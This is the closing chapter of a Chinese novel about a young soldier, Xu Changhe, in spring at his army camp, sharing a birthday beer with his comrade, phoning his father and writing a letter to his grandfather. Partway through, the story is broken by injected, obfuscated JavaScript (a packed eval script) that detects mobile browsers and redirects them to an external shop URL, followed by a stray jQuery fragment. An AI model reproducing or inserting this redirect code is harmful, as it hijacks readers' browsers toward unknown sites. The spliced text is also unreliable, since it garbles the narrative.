许昌和回到营区，天已经擦黑了，食堂的灯亮着暖黄的光，里面传出碗筷碰撞和人声说话的热闹动静。
他在宿舍门口站了一会儿，听着那阵热闹从食堂的门缝里挤出来，裹着饭菜的热气飘散在早春的晚风里。
他推门进宿舍挂好外套，就去食堂打饭在角落里坐下。
张皓铠端着碗过来坐他对面，嘴里已经塞了半口饭含含糊糊地问：“你今天去哪了？一整天没见你人。”
“请假出去办了点事。”
“办啥事？”
“见了一个人。”
张皓铠看他不打算多说的样子没再追问，低头扒了两口饭又抬头：“你最近怎么了？感觉你像是变了个人。”
“怎么了？”
“以前你吃完饭就回屋躺着，今天你坐着发愣也走，你肯定有事，是兄弟有什么事就别瞒着哈。”
许昌和低头看着碗里的饭，笑了笑没接话，他把饭吃完去水房洗了碗，出来的时候站在食堂门口的台阶上看了看天。
天已经全黑了，星星比冬天的时候多了一些，亮的暗的密密地撒着。
春天的夜风没有冬天那么硬了，吹在脸上凉丝丝的但不扎人。
他站了一会儿呼出一口气，回宿舍了。
躺下之后他翻了个身面朝墙，把被子拉到肩膀。
黑暗中他把白天在宝坪镇看到的那个画面又过了一遍，那个人的日子像任何一个小镇中年男人的日子一样普通，有声音有气味。
他低头拧螺丝，扳手磕在铁皮上的声音叮叮当当的，从兜里摸烟的动作很熟练，划火柴，拇指在火柴皮上蹭一下呲地着了。
许昌和闭着眼，这幅画面从各个角度看了好几遍，每一遍都让他心里那个沉甸甸的东西又往下压了一点点，但是那种压是暖的。
那个人活着，平平安安地活着，在一间修车铺子里把自己的日子过下去。
老许当年扑出去的时候根本不知道自己儿子会长成什么样子，他只知道如果不扑那一枪打中的就是许景荣。
他没想过后来的事，但后来的事替他想了，替他安顿好了。
许昌和翻了个身平躺着，把手放在胸口上感觉到心跳一下一下顶着掌心。
他在黑暗里低声说了一句：“老许，你儿子挺好的。”
声音很小，上铺张皓铠的鼾声均匀地响着，没有人听见。
第二天早上出操，他跑在队伍里。
春天的早晨天亮得比以前早了，天空从灰蓝变成浅蓝再变成淡青色，云薄薄的铺在远山上面被朝阳染了一层浅浅的粉。
许昌和跑在队列里呼吸均匀脚步稳当，风从他侧面吹过来带着操场上青草的味道。
他跑着跑着忽然想起那天也是这么灰蒙蒙地亮起来，老许站在院子里把鞋带紧了紧站起来看了看天。
那时候他没想到自己能回来看见几十年后的春天早晨，但他替老许看见了。
跑完步解散之后，许昌和去水房洗脸，水已经不冰了，凉丝丝地扑在脸上让人清醒。
他直起身甩了甩手上的水，从镜子里看见自己的脸，黑了一层，下巴上的线条比以前利落了，看完就挂回毛巾走了。
过了几天，张皓铠过生日，晚上宿舍几个人凑了点钱买了一箱啤酒和一袋花生米，关着门在屋里偷偷喝。
许昌和坐在下铺靠墙角的位置，端着一罐啤酒一口一口地喝，张皓铠坐他旁边已经干了半罐，脸开始泛红。
他举着罐子跟许昌和碰了一下：“昌和，我来当兵之前最怕的一件事就是跟人合不来，结果碰见你了，你这人话不多但心里有数，我喜欢。”
许昌和端起罐子跟他碰了碰：“生日快乐。”
“你还没说你生日呢，到时候我给你过。”
“腊月十五，早过了。”
“那明年我给你过。”
许昌和靠在下铺的铁架子上喝着酒，听着宿舍里几个人闹哄哄地说笑，有人拿手机外放歌，张皓铠喝到第二罐开始跑调地跟着唱。
许昌和坐在那团热闹里面把酒喝完捏扁了罐子放在地上，靠着墙壁微微仰头看着他们：“少喝点，被发现就完蛋了。”
黄黄的灯光笼着整个屋子，把几个人的影子投在墙上晃来晃去。
他想起来今天是几号了。
三月下旬了，老榆树该发芽了，后院菜地里的小白菜该出苗了。
爷爷大概每天下午搬竹椅坐在树底下泡一壶茶听收音机，孟采筠在厨房里忙活着，说不定又研究出了什么新菜式。
他靠着墙闭了一下眼。
那箱啤酒喝完之后，几个人收了瓶子，藏进垃圾袋里，有人把花生米壳扫了，有人把地拖了。
张皓铠趴在上铺已经开始打鼾了，许昌和躺下来把被子盖好，在黑暗里睁着眼待了一会儿。
他想给家里打个电话，但看看时间已经快十二点了。
太晚了，明天吧。
明天他又给忘了。
训练排满了，一整天从早到晚连轴转，等他想起来已经过了熄灯时间。
第二天又没打，第三天接了个任务出去跑了三天，回来之后才想起这回事。
他坐在床边掏出手机拨了家里的号码，响了四声许承志接了：“喂？”
“爸，是我。”
“知道了，你上个礼拜没打电话，你爷问了一回。”
“任务忙，没顾上。”
“嗯。”他爸那边顿了一下，“你爷爷前几天拿出来之前那张成绩单，又看了一遍。”
许昌和握着手机愣了一下：“他又看了？”
“嗯，放铁盒子里拿进拿出好几回了。”许承志的声音平平的，“你妈说他把铁盒子挪到床头柜上去了，以前都搁柜子最里头。”
许昌和过了一会儿问：“爷爷在旁边不？”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932606|213647||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“不在，后院浇菜呢。”
“那等我下次休假回去再打电话给你们。”
“行。”
挂了电话许昌和把手机放桌上，坐在床边发了一会儿呆。
床头柜上放了那副绒线手套，深蓝色的，拇指收口的地方还是有点歪。他拿起来看了看又放回去了。
三月底的时候许昌和给家里写了一封信。
信写了两页纸，红格信纸，他写得比以前顺当了。第一页写训练的事，第二页写他自己的事。
【爷爷，我想明白了一件事，以前总觉得你逼我练这练那是不讲理，现在我知道了，你是怕我没本事好好活着。你那个姓许的战友他挺了不起的。我现在过得挺好的，身体也好了，也知道自己是为什么在跑在练了。等夏天休假我回去，我们一起吃饭。】
他把信折好装进信封里贴上邮票寄出去了。
寄出去之后他算了算时间，等信寄到家差不多要两三天，孟采筠肯定会给他回信，他没等回信，日子照旧过，信到了他自然会收到。
四月了，山上的树全绿了，操场边的白杨树叶子哗啦啦地翻着，风吹过来带着春天的暖意和花的香味。
训练场边上那排榆树也发了新芽，嫩绿的枝条在风里轻轻荡着。
下午自由活动，许昌和坐在操场边的双杠上看着远处。
张皓铠跑过来跳上旁边的双杠坐下来，两个人并排晃着腿。
张皓铠问：“看什么呢？”
许昌和的目光越过操场、越过围墙、越过远处的山，落在一片他看不见但知道在的地方：“看春天。”
张皓铠顺着他的目光看过去：“春天有啥好看的。”
“春天好看。”许昌和嘴角翘着说，“树发芽了，草绿了，太阳晒着暖和。”
“你说话怎么跟我奶奶一样。”
许昌和笑了一声没回。
他们坐在双杠上晃着腿，午后的阳光暖融融地罩着操场，远处有人在踢球喊叫的声音隔了一段距离传过来变得模糊而温柔。
风从山那边吹过来，带着青草和泥土和什么花开了的味道。
许昌和从双杠上跳下来拍了拍手：“走了，该集合了。”
阳光从侧面照过来把他的影子投在草地上，比刚来的时候长了，也比刚来的时候宽了一点。
集合站队，许昌和站在队伍里，和旁边的人一样挺直了腰板看着前面。
春天的风吹过队伍前面的旗杆，旗帜哗啦响了一声又安静下来。
许昌和站在那阵风里眨了眨眼，嘴角是平的，但眼底有一层东西亮着。
他想起很多人的脸，这些人他有不知道名字的，有知道名字的，有的活着有的没了，但他们都在同一个春天里待过。
风从这个人的春天吹到那个人的春天，吹到现在许昌和站着的这个春天的操场上。
——全文完——